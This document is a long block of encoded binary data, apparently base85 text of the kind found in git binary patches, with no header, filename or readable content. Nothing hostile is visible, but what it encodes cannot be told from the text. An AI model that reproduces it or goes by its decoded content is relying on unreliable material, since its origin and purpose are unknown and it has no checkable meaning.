z?0vD^jljQQpTi`9R+mz_J+SA`Lq7>7GXr&nxVzTl+8V-O_W{07SfYaE=IM%pn|*om z`tMi*rd-7!Ft7o52ecFL-pkb0xl#Dnj)<8-q+SvF0ZpSqP@p(9T!#21G^A+j5gYZi zVKG$C7V0NMWJQqe8QIAKS2?yOpR{RrtF(AoRJ6|;DOhv9_Y4wKOH)&JA7+@O~Y^M&2Z^$pBSxS*tP9TFGoyLBH;QPh;|1-%quN_FlFQ*@aC62#1oOL?BeFB>2+CTos(!OSQKNXcdY!AudU z7mBIDpBLURRGXh$=E$ByeQkb-))Z&)%n#zfO7O7zDTArbe-aYszg6>DbNr#EP!o9+ zdajR}9mpbBFV1Vg%G95JqVsgsB7FW9`aO9$2#S&u&nH{f=uKH_$|tVQSPNx92)R_%OqC;Cul%)gn!zX4ZLGKTarW zgbA$O@!;4uBQ>aLi-ojy9`ce3e_-bS&CsE0;mUSvE|!(3qI7{WJip19t`Snruuyg5;0{- zpG=%?wjgKRr>UCU$FX*iw1-vxKz%jn|?{YTPYE@p^5jkgIU~0Q_xYt8c*_L|LOuR!R@!>MeC!(K4oBTdzt|*b= z#{E2&EN!D9aTvG;{M`+dH=4#E^=2iPxImx!Qikl>5calqPaPfv(%?$QK{e!#^^ zVJciAr1odBlNCk?A^cgs-p2sF{2hh&sC{J?+DgUNY%);hNSV+(oAWJuYh&m1Eb8?# z;HwwUC!PLLEkNJ(>$L-c#YUdEB&Vg?Tq5%jsFZao<0bX=qURTMN&g6pFQO27x;K-g zIGN!H`K6bZo^f8}$t9>&1NP#Yn_n=yAV}{+F|VWXB_r>HX5br)IpPO1(pg-Sp6V+e zr~6a>uC-8dnUi_Rgs)|sG0M+h1cYkvKVVa-U+z))%73JYe3z9!Ld9QRce)oCZI%%u z!b-t;Dp2^xXeOcD@t&Ti2E@!MvVYdmNsrRIPy7SPwSzWL51p4#PBDXFYZ-HXAQeYf zyN7M-?>>n*$X+BeGqVR0@{V2Lys?*LNlvfg@V-jj@|OWT8n%ONNnlc!Eis6uUA23h z{bFt>WOSXdB4XOk(lW@)2CBJRmkBwA8lqViI|8LbOiFxl24{xHmjAVDwcxSqrHoo3 zo#ze`uToCxYC<16JJsh2wlT;E%!#ef?8p^2C9V`b>bR6J=nIDHr00HNk0V{t%n<)A zKCk~Xo!z-k+=}RE6TK;{*<}sZm%59Ne)y)w0bN5W(KHff8c$%VIVY6Wey?DKcz-kz zo`mdJI>=t*v4dx<3#goBtAfVz9oac{;?07c-8a$2N)OK8>_bbXjshFtY>wR@6->PwvXF#~hGiPCsu`0G`7$Mka-xhdTR@gC{pL~ZG6UQAPMEmHBl7CY& z)#IxS=7k3e`~qD4jxQl%FInZBPnk1qIQm%drPi+3P5MMmLyT=b7{3(&^x7dz@94!h z==i!C&hD{T?aGtX0Hq_f#7H*1&s2kZ=$%iK9a)OqpG0OzkiIW2Z<$b&4E?&;+W7gn zssR4S5H+94<>i#}3*7+}NfPTBlbp@{I*PV`M{4HcOb=8rBZ&v6or__JlHZ3NTvDg% z&z^1*n9Otvd8_UrLOOYcX?DiDy%e2iB-9kywUjm957ZBUN)YHjNZ|puZjC)#FR_1+ zcD5U>Y7(ok4$|`Q#t~LLmqh+m<=d8%*d%SLY16`AEyAF-!IRp+-%y^6x{Tx~Q3Lam zKkp1wX0{|yLHHlNn&129q&STe6Kpvb6&vlYMo&F>^IJE2aCPE}aHmb&InbJ9W5~S+ zKWd^dRLF@IagJ)p7P}X`USlP2ov)4?UCoeuF1R$HzIk9LkbOpEG3oT3nRzGdNuc+q z@5A5%`1?7|jUN-SGpxF-_LyZ(_3O%Keh|`UaT@GDhEc62O0^j@YF7e5G@n|m% zadVY$FdgDBFl)o+@w2{kuA>6=0e7r1FEdd{iwNa5G0;pp+NyJ%0ccg0F|`p8934gx zuUK>VbQZhbaslxVppTtT;o*55e@_SEeG+g8!X!r}+D^%%YQ{}E|A7o=aoRxrk)s`# zP_<4P_i-e-@?Q9Vi86|c`Gwa8W5#py{p4Ber5FEOPVgBUAz*;7)Nf>z0{vXx3--1= zVbQ8(39bPt14SUM@o0J+mTi<}qit(}`TSbY4+3#tOdBkqk2A3sxPaeECJ+pA_cW}ZJ<%4Yv+7V- z1iqwJ%hpByo+lek+4DQ?u7DSKxuYR}@tux^FeytiD&VgpNj1sR9_W!~Zxs38xB8Iu zxArO=P5XM5S%jA1@2c%v&<>*DDi?_ki&rSit?_`WniNb_Xe!6ChiW*k^RM zX&Ys~Yfn>4>4z5geOIVk<`c>62){0KVX+dLdgC{}UyKoUMn>%wj_~L-y8T&!r}|PWN>6 zbq)+UE2wO}@7aSRAP>Jpn+2J{fgYv@qK`aqBxrGXn*FP1UJUA%kt1sXI^Gl93g&gDi!Jm6d9no4umW?_*hKY$w*Wl)68%SR0(xV zxnWCHQT=6J;KQn8jw&dvCoM3LGWRnD%#6_e+-;aZni#dbF`7i;{>I48nrohK7BoX>p|nG+-t_#FpTpl6JLGS6^Y zV~h4u>ooayHQxg(j<>BpxT`Z%VCY!Nx483#aXFu}AiEr`IRpG_bB1Eh=Wma6#dr{| z33`7Y(6wfZv+h^S%ZltW>~0)TvM;T8x1fU(41m13e@7?=eYy$ma_3~>Y5x_gUBjFI z3>n~TyZ&6+F0;j;6;hrWU)(rb!$kMnGL+8{y?=jz%FJ~p*?P!@3(+6_;OZE*wqi?v z&%GAc0A?HOvT=jr*vx(xg#bk%PW+}f^^e}gE0i1otp zb0R+WcRe|>MtVRT!+Q5CD5}Agpqos(+Yz!X)%f5k@$j}YK` znc+E-1(IY1*Z~a&EmljB-Qve?_q~3lY;1W(HrDU}qAS?{r2%N9pfOE$2uSUt7eT^m|L8US$ zWFM5WO+MaYIGRo3eVf0uQo*hyAOR+1m+A*y z3~oGH(BT$~8uG*Ia|u{JssCTZ*&qK*joAaAz$-}Xet5NfykQvEWg2eN$t3fkjME#lkBLMx z-o`sr`B&2oMS8#flQe0GVXYlJXK-zTE>{OrIO4SchEZDkiI8ikWQbtS`G{wXPSa~T z#eD}nGZ!8c8?UMl84Bu*W~f1Y3it;LB#j=$k_qpGS%tBCkDK* zAy#x_B;*5YiMquDe7EP_0D14_HTO*-q6JXc-;F556pF25_>~LqdpVqa5Wnt?EyNWP zysfK(uVQIEDkRTwnJd2GaW3&<=lU3rxrI`w==B{~4ocR1<@&nL4x_rYv-kU5{vA(I zv*5AT{!t4^*XZn+=jgLh-P_AsfJ^%xkaN&W*OPo}5trmJLtdy$@7Jpp4{r-zT!H44 zKs#slCK&=>rBgrX6H);3%{{iJ>!L9U=)avE%a=yWDA#4nI$Q>IV#PPUzggq%lXjdp zM`-q+Rb4bbrHChPo|o`2Vlb{PFnuXHS}%=>9XcuEnbFO?u@~4^@r-!VnA*7*@=}v? zwkLK6_C-vELD2^67|C-%34b;Uit2rK=1v<nJv7Zr%DlSqwFJ69~go&)P=>VKRIJi$8AAkH=?;wU1AH@qO}?SBkgVI=n4~xZw7k z>t9!#s1l7TGA?LRXF6Qyy531ux6IwBOy}p5GO?Pn7hLAE^9-L)HW+0O7kjQUV2cha z)5Lf5^4i?8xS4D?G{@LxaXFc2!5*-778W4e4p4o&ZT@HgRZ~GO>UNH zI8l(%|Ez`qZKI5A6xqb~&1(`h(85tf(i*O)8PS*AnS{K-z z44AIu@yQd^$RK}WBB^105@^leGcqT+VVOJL=D!o~+53rH$|}1ih5g6@yuaNqtf0Wy zNWnB3ach+Clf-#8wrK=5TR{)WtouZyzfBxy+*Y))L$uc<)bbA?U_+8Xf2k|IQoHA(V4S3bVE zZ_DQx^K#|XaJ}L)B-vU8=!h)O*Vw~w0D_)&*aG!IN%_;G@Yq zk)ZNl4uz5ZxNrYl-(aXoq+u1=V&j|1^#JnkC2{q;1k0aKU0k0cWRtb+1LFn+Znx!D zQ=jCJ8^5Zg_zphf>Hd}e;IjvB$`)%J>(O6MSQf9TbNUHteaPVHelwNF@Q=ni2iI?r z7WyXE2i;bJ=y@uOUoW_^s_dD8jEdn!S&T5Cf`WHdu23|opsbegaqLnMMe_Z9lrVGd zb9QJi!DAr!97ZtCWAy8cPVi5JU_rA$4(&O7)8#l$9+pi%Cq_+CIwKYMg^QXJLgZUb z>XX#{DA)!|&D@k}d<)SaNc18mhMIq}o=#0PsjyAbr>W`qWV>4D3b7g`Kl4<6#o=tUvD-TPOvRGF{lN&<^YTR)wsy?e5><<3AFfYzBNs zv_Cd?8W!+?lU1H4f3ys3>(S}{_19sAdj;lK_e#1pLt}sakn9L`r1KSUERU{mjK%_` zs`$Zlo9ySz%v@h*1OhG?Fv zKL;uk>9sVD3fM-Pt!L+-acpY0^*e{hsrS-v5&~+s|Gg_$Hne#C-43EjNRXOW64ZzH z=Gv+F*o6&!;{3qjx;c}p-9=T)v4Kk$I-1~5Y^dsJqwth45^RkWO&%*85cD`f`y0-W zVK_0diM2x=Vy~S6HXx35-x;u7bX96@9==q@gC!Rk6ET#C2&H+9?m61~swdssGboBL zqZnS--yXacMwo*J(std|M4>d1QJ*)Up073>qjbDb8UmUw*YCb3u^Dn zbQ{3*%D4ONl@{fk4Cfmk>OJ59^D@^JVF6szCvLq0V#lsyeIexrRH+P znt`u0vuxoJXE};V+~N#ql|ah3`-iGLV031?crt3@s2a*`Swf{PkSGKm&nxWKpL6m0 z>{;i2Mv?nTQGF~L*;+*K8kDKxKC@zla@Mf2>%G34qh6Ybp{y?emXuQSbE@e*P8`MV zk8M#5WpyxEfS0-zZpfzO=h#Qbh-meSaE!c#gaM_|vvjZ=$*bS`fzb^>jTeC`1l8TI zj;p1;sJ_;~ZKl^pHJ$$tIpB(;WIhXFamuD@%Nw+#%#58p;+2-Y4`uyCt4H_H`H3!1 zO4!Eo%MZ%g7UkY6|LSVys|3$^*oI#$osc%@sM+R&6v8NLw*8fQT_Qq@PTiCX7GpUs zp_bw9PM|QWTo+#r2j)9ub%1`Dj=d8{7%>+=S~NvIY0Px7`Y5O<{YzQPT(Yq0 zy(^pCMag^*19s*A6J;N-T2kNGP!&uAnFhp*7S(G=yIVu$F_QPN&=Snk!+37~>TKIn zTU?3K|NiPbbhxrP9br-r92?@f;zhMDSs+J`8+_ca1ssw^2S6?;)1HUWFW%dK$NF3C zlEoOOvMivnlsgk3&2 z&lAj&0e~(q$|+=b_uZlp{+}*O{2EEVQ13sx#l2$55tQMt_fh#l;#%uKBL19P)07JkBCDKYV=xoE4+ZZ-?bh*K=ue zXP`*Hmb}1^&9pp8!Wbg4H{wF+Q;afkUF!{hTg{vjP$U8?vT3}`D_aQ%23m+N2_t@aFWZQ&k4$KACM z|1P&0wE5{7Ai0hY^xfB&fd?zCzCKg$gZKYhP0Q~!?e_&k1hlFvJ!#)r5R z(Jyz29L}IXYCTiceJ;w=EAFeBboUbU!?Ki&SXZ-S#x_ zP}f4@_uDN3#+d)V4y)fa?@toNyv(Ep8pH2!#FRs=Z6n|!Tiz&ztLiO3Sy!?$O7667 z1ZQOlJON5(gM<@lxpFPu_ZYQgezOLY^v%*l?wC60B%5aX^z!c2TBjporCQO*&KFX% zM1IleLGIP&ahg!MKgKox$tC)6SJ6+y*J(_@5ayoCEjv3*sGs|#iG+2 z3f~3@MLB4aG_M*>v4O=Bxsr)Mf2@O)p2TfO@V+~NUy(Un<9`G>8Ffe!EqLWa_C`dL#aIKvq!81eRZ2EI_V)rCqS_y7K=OcHh}1gB>6~;(l#_!! zAKC^*Ofz3^Rcqu0)O<9kuBOT0&IAwJoA9|CB9)3Y5B-B4;(`1K$l9HDy4{8;MPC7) zs(40|X)bGrDuS&@a-TFm37mAV^{l~TiJLs2GEzP&>&$rh4MfMljsjy`M&7Si+TuCnXQDOwx-O%e>l<2-o8YPSC#D#mjq%}6Crz6i_xHvWe`E+#NfKv^!s&z#9fr`5D5 z+&^p*sSIs27Z+m(V*F(kLX$`)gi!!%CBvFwehf=@a%;TKQ|?LrP`H`E&VBILyBOrv z=lM|i)|q?uHuhf>J_sFl0C*}|iz#+#cO^m%^fPZ;n-oh1n=oC^A)cP*3RRI{;yLxjnKS+8pU~yW!=w$|NuH!N9g)_Q8cZUP;o`4y zyr4nuZ3&LNBKp=>^SpC@LS(vWLH%147D{Dnst{jqDxEEJe{h~$8a9#Cg82Y{Bv0zIPrTA~W-?;C%T7#?sv*FEU`O$rY%k#F@B z_^i(DNMpGpvjnsM*+aVv^Wt$RYd2{Jq$p@JQ9Gqeq{^E{Q+D_cpO+dBHt~vhKo93A z3mUV>Rpm%2pVk9<1b91mkSt16iDi@*)pp>}fjigfz~JgF7cH1@^B{dwYd7%rvAmP%g*b6(Z2*sM&nM`fTk;UlO0N z7&~ebxIVm#(V&c~uXZu6qIT6$AhkxMANdyoi)`fquf>rx8#huEqR@@bDVCIIEgQ|d z);w7})#pVVeMX@c(Zb66t2MS7pzcLcZS`l*p7BD}C)NI_{eCw(x}b)8j=t~%F?csp zAZj^|x_eFEb5QukV3cNzX%Q?1qs9D?nToBDyrrhC<}fL<+B;_|8Znm~G?-crsM``Mt9Yv0uo z?{@-wA_HsSK?`YtEGKG%aU3TS_nq5Ze>WcpZ;+@*=MOc_CmU)=}C{qYGr1wg31fW|INjjQQntab>_b(auFBs-{QJ zy8e0C7pjl2$OEqSY@h{Rz?QUFHa5{;R=z#+c{+K9xNMhmy^Qe_Tl!ieW04+$Smd>E z`WPd?5Kgi;c(gU$T-c9wIc_te|gI&m}ktDDoOk1BX(Fad^m&7Cgl1%&Vfm3>_e+&=; z8>2;&XZp6Z6M`NQ*da3dU(EU*T`hJeWyV>wENA@fzIyGkSh}>>krD-YojqdSWNyc_ zlT$u^A`Qdht!F| zf4`Gh!M{eppliN&YRnU>;PA^z!IJ}v164O-$@dA4xmoaJ6&muWcqYF*|V zg?o_i4-^pivs{XVl!T;rzcOT@w~s>H0eaK@MBd!ukt|(NwSCZ2!a1HRJF;!f7-p>H z?MkE+IaDnH4IMjC$p)P@*NcmD5guQ5MrE3Y@8qB{z7l;u`YvVO5^b_CeFII`mDH`r`}9Sm{GV3G2<0QpL+jR-iVrGnZPBE zFpN&$avVmp>cE57LN3R~16GVveO)50j&b5ruJUNA_(pSK#AsV#wM2%4vb*?A>h|%e zEpEKn9_^FeCoT@hC~Gj`#279l3XGqaSL?o7(UphG&Eg zmuZKr~y;ScqT2ngqZK-Od&C)LP^d~LjN? zGUr{n1=2+IyBK-8&E)Rv*`RLtbIvzm%=FoC(~Iggt=;g%$bRPF4HE#psrR_qEf0&} ztQ5`7f!15wc`_F-)uij;Z^^kjcRLT)2pf}9`lTma3MGyE;$MmVvPn-a6u$QuC3^Z) zLW7{fy5dj!EB2hmb&9ACcMloA_1<# zW!=v)?uRYE>@NyS;Pi|(IRcZ0esP^9M`Rx_bND$Iw|!PA%y%3%4y`}Nh!#uzXAF-P ze!0D;s24YT|%MmPjI5^WA>JCI9nI73g_7X+gbL+mBvN9U7;0@p8xO`ksPB!0R*EpEp; z;P~r&i?c?r?A+Rc+pD&2_)&km_G(UH%y7bX(fMALJ<6W@Al7jw!UXhWC6zD0eNMGq zAQCjfw~}Z84f@0GcgU=^5~O_Im#f{>7o*^bB+Ze4NzU6(bJ(Ecq%5Yv5j{?{dF}7Z zwLi6v$1W6nPPT7*lsKT&Q?rSS>A7|;Y{fS3vfbYq?*PW(z@?d?4CGsmEZR|_7b+#f ze1!e8_-)ABbZ5*iAz*pRV8L`|{|NDsxju4eO^--KKYrFno;4uw3Wvx?f#mEdLkm;c z(?;(=VyS=6shE|_h3Bh;kKIo0@zMSGhvMrVx<%ouO@{1g-6qSamzc?d_mv}=AX}K?w3C0mLio~7go7+ql-oH(xNNK6yTf4UK}44B zab2n<)6oGR`Ue(6!>ppkk2$u-lcIr?PiDqZhDDV>enk_{UK2L>b(?M!l$CMtDhPda zEgBPg6csgXE5a)BEbnXeMY5>B>}nMbrqOPH^bOq9Fz++{vAS(+05JOyPdeHvscoTa zP&ehT09#P8jE>?O1mXGRZ$=7c4Gc&zJM1_4SCIQ^9rGY#0|%lfBVp1XqFjgClV?O^ ztZo-NEG;>}NuSN?{_y%oEpStw3B&z;F9HK~I}1gHN#q87(R?pxC%N#wW8MK^b`rp! zD0KG=d-#lzc+b^L*h_=xx^mu^3wB}#ptXTvUdi^SR~lf%6LD29#k4<0^aB^K+=>1V z!;9$8n|aHYmUwVJ1$Btg!%A0L1UiIAR2we%9@2ypVyaM83yUjBe^@pw?% zgDLeYbrW#y3x_7t>N<1jJ+g-G*}FgwNC#(CXom2N%=mF0vT4<9GId~6qCn&B*Vl*8x^ICQ|J>TzD0vrz zAjWp=HARh1+e`1Dam;%U%PtA?*7UAa&3@~r+Nnnk+O^kEzOi7^z`p2Q2eywzAVRd( z;B>~@hcCwRa)?G<&E3_E71bPM=P_Gt`Y+gK7RPZgOT|LEFd~WUn1zt2>p(n(j)&lz z*I=5MySD6)qYVl@Gq$P&A6oAPw+6hyGc{H&f!StA#4n4SNgR$%Q9ykEOagXHFeGdGCB|Z!Q+XwCKt+g5@Mdo-WOyPF z7)`m-goZDe-z%JNZPuAK)fgZwn|4r~#121Fb3?%){oe&8J4PoWw!pucX5%@iLytcx z?Rc<*-XlHI}Yy3$BSR z1!;!4GPnG{8_kCM5dS#C&uHJC$!P%K3Oyd{)|lPO=Ji770*TDeH%fdmNAhC>#kT%RT4nmh5)72ZP-vKDXE}n_`s(5B z5L(0CoMO9B$M=ggK+2U|8qcLi2tDTx-4?RVcwyxZW#`AkalE_TbxvoIg?BeNNzO%{ zQ3_(a&7ysME+L2cf$xJRt$}B3rDIrxGN|%T6Lm3AL7>ir`!c#Eh9&9mRbxTONeDbp zfKYA&@e`AlTL&TMBkBcV7X-q?{I{0jOa_t|>ex*=o`1oM>{P5TH|5>!0dcUmKgTU=0HIL4HGBS zOJe1l)g|To7e;-MO&bRnHfP&1u5vp;%cIlO_2ry~`-drY@V8>H19^SU>9Nk2MP#-p zb7Tq-Og&jpbIH*sQ3dF}8+s&z{P_;VDd<*iM!bXD8vTOc4#P|)T6M7NRj#cNed^~3 zyCw(edvCk53z9L7emn`cCTGKmo-q+f^;VRt9}V^W%vz4)ZuXPRj26J=V-qIr{L^e1 zCSupJKiN;9oi8hhYYGPvF`%X%VdF9d_lzAL0sQbf`+`wzhE%)H%u%~Vtg3Od-yr__ zuO*|kts$$E!>@4(&il>mn(|kfz?Te(_iDSV z(IJ^hTOv@d6`iQJhXROK|EWhwI?rZzkL@`Wm~VJ{q1dGt zzRN`0h^j44mUwqEM%d1bgQLaIsSK1zT|lZ7-u^c`;jru-3?bH=s6r}sfwimoKjDPN zKnT1?kc!s`@&6P^yFNgM>3M3zBGI`xu6zB3cJ%zkMZ@_w^+`xdo7sQ#(4V(>m zR$FDI1Fw|P29xmwNB{l^zI_xZq#hA}yg18w4)V*PqJ6mJY04J!Rui73AyImB}O%~sN89dBf!Zhe!qs>3D*wUDwgKKqAyF{ zX880+tYgn(uPh#OZ)Ds$UN)lwRMsM2E`!s{LWa?DOPWir5L4(aCUg6oW%=>{ETQ7m z=X?Yr?@@y>Nr-JD??vP4@1Ly-3CM9Y-xyUrU%Z_qAdqqTnxqq$l=I{yE4D43V|Kvl za)E7{{6y$d*=5EVkwie0AEK|zzlcZkYL*KSOGqFJH3m;#>eZ0s%f3;Qke-Vn*ll;c z(){y2WoWp*u@?&vL62t6VW@haDjoG!D3bp&!of zgZ>I73jVPs5T(@0s*hTI%D5{r(h2Wszs2U!tjY*-@ufXHy^PIi&P(C3%J=&4D*vwCFX_f|MTfVFZE*+ZI_y{Rd zIOJ&f$NBZcCpUom?+BYY!TI?rC?)csHSoyW+-70Hy^-@amwWDQ$sb%I$BDi->k_ya z?S@D5CowAc@W*U!E$_MUBWu(guPCQ8E|VS*_(+8YH673M?ib>oj)sIyRmf>Yid9K| zsFU-Ax_D{wHLu&GhWQyqHb|mX+y>B7_e7~(yMVPCG=(&s4CITyr zv2B$1pihHcMHaxktBf_3zhP?w{ANJ$cMqKu57|vTIB3t7s{1Bc?hRTZ5G}8rtoX(= z5{f`eui8l#);9y518_L&jWeQ927}v~uL6yF2%vaDBxzXf?x&P%Y4KbEB zhMD+_V|J82du;E%G)G)oN}ag+y8GBiuvUhc7LNYnw@DNJ-39&w4s^L27wL26ix!JT zS1s@ghJHv33FE7L2c%7aTaz-oH=5G*$GpSJ>dU;q=%NP>_f4~stl~&2lKl2cdX@wm z{&n8OvC$LuX3n;5QxEmtmNh;ufX}}THGFW9&plRR8;6ea+45|OyDq_8X@7duD2SmI@YD+~Q1fI7eNjyyIs09W>e;Us%8?_5 zUn@Gl5vLWi1V9z>6&|$!$#-Ng;JMJbYh6X#UcGaRIZ+kq2D*MN_#NtLHTskyM{HN|$?Jl6FE z*=&BPxEtMr24^950;*Bj1u}e=`$vU4xGUK47X_4v%rO}7sC-`6 z9jgnjSursq=8q%Rgg?*8_dQm6)GFVOVGh0J)nsuT(PHG^=k~XDcdny_REMUIO2Z7@8L;O6J3Qv8zH3N@2*8za|{)k_9O! zpI{p5jV<9AfRY|#X zP^fA@_haadF2Ju>+voIxQ0`0H@VTn}ok8~s3>%A-Z$!p08v z!1Mmo{MJ+Ma6XSkuu9Mv@XZ!!mRPiKjbe7w2oA=xcZuoJBc2`^Z`;dNKF98Z~r3Pk1TjX3Z5m;qGpcgtu*@t=%h> z=-WV4BUawavDtpbFCrR{e9Tsa&l)+5TR>g8*FX7hNA;X#{NLOxG{<@|!D*u<9C;Qr0d>0IN+iYo&D75;aCcRtT~szw4_7!;O~8 zx@MU#QT$R~JIsqtKE_v>w=wiq|LFRXw?4lnCr-}bgD8Jb?(hm;%$EO@eU!0mj>vPc z2`_E)LOTz|dZe=Qfa|JE%-8jkm#7V^J}$StjDc!mx)Mvqve0I)f{p2=LOCb>`VJ%?b20DLg|-%v zW%fCc4^Z9`IKR{=667s}X^N>uyx;2!^C}+9iWR{?8-38$0(ZK=R+5}+4KG*%{`$xX z3F^#gpHZB!eYz9i#Hae5ngtqxEmjc3@q=MxVs7m;y|qF_P=apF@I8F2zLH<-WH=P> z?X?GX7Axcu`i;O@fs5OSMIHrl)1-eGpp5fM+LW)bs`)@3bAJqq9%1)8A|TuK>UGqZ zPJ?ETrR>LbXXby3f{yP#4`ALH+MEj2WYS#V@M#Q_1}=p7uYV#VG@)rDA5+1GsQxeg zwA*GS8NQ>pC63+JHNIQT{bfMhhru~X>1Tz%&N!nVSumZa3)lBWUSt+~^>YGgDYX6N z>I4sTr@2VhCxG=k<&N8NYK}=`CU}y1r=-1Sj54ip5^ zzuqm0KWMoa-=vb#GR7VUx{Z?1G)(VB*H z=d49UQJ?o^8nBg3DdB%#v6YPyHA1B_reP5NPnWYKB92}D&K6FOu8cbVpLR)Y6-S$` z*e5G$pdkK>yR>5riaVHy5D`MmWr-3ziuMnXkI!`BJ8!45=rF9dHkW7?iQUI5{AV!$ zu6bE^KGOf4>6(DT^alSQ;jRsM>X2A?rt#BkK3kxsc2QQ8hEeZ9(uB*|7h~_ZHop+b zO|8j)NJyXx#`<8ZiO{ZkV9f@6P_fL`d9RP--!%0Pf-q&&5K{33jl&{&5U*7z`3}wXk0f1kA@}iXDcVLT2f;;>#cFZl;iTr zid(Ol@>`cTYdI|e>Us`)yy?XZA?X#hJ+lr?Tfu*sW;@>W7WdYHbJ7=Qjecrv&cZ;j z|2-NgW>kMSaPEj};yFIbGbK zyx2c`_qeOISa~1P-s@)QwCJ6X>_ydAeg19gy83~zML&s^YfWcfcu5&^J?&|$xi#`1 zp0aR0LM1rVaOKbsf9mG-vcY@z0{Yiqe0CW5J7}x1Tz`A-UUkK)l0~#Aifz_Oim4Ca zJmfe4*(dmQ|Hf-Mm|Le9^)Z{2)%@JX?3oKW8V$L&`z#^F#nnV^uEV7vv#!3#dwvD0 zIETxL)<5F3%idkgp#WOc`YF;QhYLM4T2fW6NwzqgpWh@6-Q%+pUPzRet|!Esdy6S) zyJ2|cAkh}3n-lDARD7lRB&gifbO5My8;#)c)t&$4FYCr<`A2VezJFt;(sufjEpdl# zYqXQ)h4wNPOgv)C-_2(m``FRYACyN6Eb6yb^Mib!M{wlX8ag7ScN1bLRKcLj9+2f>8>71iz;Lh0AUm2@Vu|(CrrtKcR9|&E7@Z}8!k*5L zE8x}1l)OuO&h7zF7 zfiGA?Y3VJ_L5(w)oUZ9_-en-(Eb}`8=eKyLX7~6Uwdb9+rlbU@9VL4vOs`Snt+RERbTO>%OU>&I*$%HAiukbSu3&M`ZL8BRnuvphj&uVPzn9E zfX83?U2zFK+q`$_n}mb~X8Uj5!k;3?nVQ1`MP^23q-yvzV!gMznL%#fFO^Thsr2(< zRAsoC74gPL_f7xMO1f{d+k-umtI8y(Nc*EFH-AqI9Bb!1CtB>n-?SMMsio0EYW7XMt?YPfLXjSG9B6qHg5MoYZ%EqTCs!bF63 z3f?k4&U}O2j?*pN*%7<-8++quK*8~eRTTyCMc6T#%l@BiujB(au7-W`s@BQPUd(bg z0dO%)_uK-e^8wxaY_aYg(>4d<(Eujv0m^_a6&8|kVANVusI;`zMkI7dZ@zBs)m)2m zCih&w0I**iIjAB+3)cJYYIX>}g7rT-r=B#pj6dGlbO%rsUVlr+*(mTVE4wLGLUqLV zw!sjzo*w{G-(`#~En_Xvcx&3D1+ptZ!%#7GIWzt+cxX3X>R%u*3Tq5{{MU}R1mwPK z>yyvbE@5>{Up$O1uz}t$$wZB=SkuIxV77GZFxYExQTKDin{(i&)S{FDF_mLPwy48P z(WPZ5GaCgLRvE{iE}U<~8GCo`%iU^o`&k`i`Gw%mk$*#k}MA})67LTI-45;zBKs<=(}&EdX<(E2nPxO&30~6 zn2T6iD&5|{y0q)jnZPpJGYeDpVWspD4|8~5k?TE0Kyx|+{%`w6fEoMt0li%g?$)e2G z+XB2ajYY6|5d@ZdmHKNJv4lZM@B^Y$K;%eoU=UzCf%;v|zes&M*6Zwod_sqy3QxV4qZsvB&Z5j$ zi`_n|PScJ2a@KB3_DG|jV-QbQJFRfkT0kSe|MlxAi|X*BQY`>JbwH7Uvq8mp|`9j6_-?E&WmBv+L^E$WKQZGK@IP{=-0%mgpw{&y~eUc)Agi~n)?ZV z1@jDGVc1-Ml@ADr0}6L4I^1W+XhU%ZF&ub|Kkvxiv?CbggEL5h2gp4f4`5ANt6w7} z#ql!}x>bzNvD-GFM|+-N9+{xYx6XcJ3cW4ID^T=qqD^mqBsZSQUJ1}`G?8t;4PE9* zOo0QGOzzDs)=NA`9a@LfuqkD5y z|LYAtUTs)Ijf#gMQc9ZkA~PcC;1!KVwv zahC6KDpe1+K#^mL@&(icWO%yQ>_-Q@`hNQ#rR%zqb@e6LAb&KOO5s$n1TSh;41j5* zmpuLE)gwXgf?P_8Mm`m`TE~%%f#)O&XQgWZL^QG=-&WFO%?q!y4;A|n(5VqvO}X56 z5hVBK;hf|+$6#y+W%dg4PnKUt`fS7TbHuL5K$60Kep7gCvY1zzUJHIGwsUEc7rOc7)bm zJUnKr6Ft2Op%Vfo$tV7I$MNyW7I60C>nlh)-7OZmljmM*giky#k-Q> z&uP>IgQHXdJeFE7mcH#ygQnMTLsv4;%@3Xb6pn0^;SI#{)>A>_@pqh<_4xk;~qlvpaeeC7R7LfA9I*OBnU+B^qS$pgj#P1+K3DgTZT+$Fr68-D( zA-EQ*~y@XA@z+FrR+WODK=4F0&?ObTZq&q>jlP?&;6L#@pPo^h*UvTqlp-pQ) zmr|W#X$VWvHsi%d;#vjXyRG=HWM{^CbdP7Ofo$Zeb{%apvWeGr^9c9Z9HDz~laXH4 zUlN5col%_OgFpE6%L;}S_k^C9nG`7R@GmpjXr*BpvB^*&8>)KxW)QLPP{_D@MkE?m zo27emJo${>GUvqS;L!^n4F*V-_D@qqKkqP|r>pxPYKGtME#XSp>xGfAbHW=E8$VAY z6>yBIkav{6onO?87*A?n(fHd9V}bp($AgFAu*`01A!eN$>EW~!{#NB!VA`iM}Vmk zmR2y3`;z$Llmm(HFP%Z6Ug4+sM|fcPGz4gdste(t$rHLvz1$;xM;7C6Lm zopu}l!F#!=SjR6aOivEmS1g`IO30OWuve;-2vcPWvqM+RZA?N22gU{B0wZ7g9zt!k zzS5c;UQ*Pse;zdw9a{PIxuw1SpXW>f8zL8BS~t;ub>#brxZr#LK{p#b1z~nD_?ehD z*le=787Ppyo)f#Johz{jJWQJ6LP_6gM4a0%&`QlmfZ@Q!2iQz zQ54_xfcvJw2{lDOY!P8PwIf(d1&Gi%oHIb~h|N?ztoHlFE9RMric7}81{P@gBqyU-#p9dN{F&}nIq;X0D_Ql(_OwdW4)a3SE7$Zrpic5@q?WUY`hC|O=);;f zPO_eDJhCh9TueLUp-7imju{-o1uIOs4tx8#z|~uoDe!-a>v?>(@O>5fk$ex%2(4mx zQXu6>Q3Y#exK(23IOyz5d~OUuxSHH~Z-ChPxStbVev-kKo9|(D`uN3aw z^0%gdzAl zC>zzYS?-(EM8P`~rqhG%ZF=Q5UMM2bIYiEM>OP`zh6b9o3S9was{8}|8Sx=EzTn6m zzld$jUrw}00bc~Pw9?VE1IVe2>*Wr9e?i!2IKQiSNq_VnbbUbYWy=bvZHREx4E4p< zlR~X|YKe4+Ezy2P)msGll#*fNvIM-%u@i#`Kch@z*zgEP^D0To5jSzDS{O$wP~#6^ zo7bYu76QY)j*x$4j`htTS;7x~8;XH(D5$S}trJy?PNz=HVT0%*11q!TLYxrR%V)fy zveM!JgeGbc_tJ-4;;xP6SwfNTgy71nD9$IEUS?`B#$>;WaT-p@!J=ygB^zP%aCI%>9C0Q6RME zjf_|kc&i`OZmQkXp-XAgZw>?pU!a@H9sTNwm>T$k*ydgWyl?VCaYYV#&&9@MN=ST&7$8&5E-0Y)} 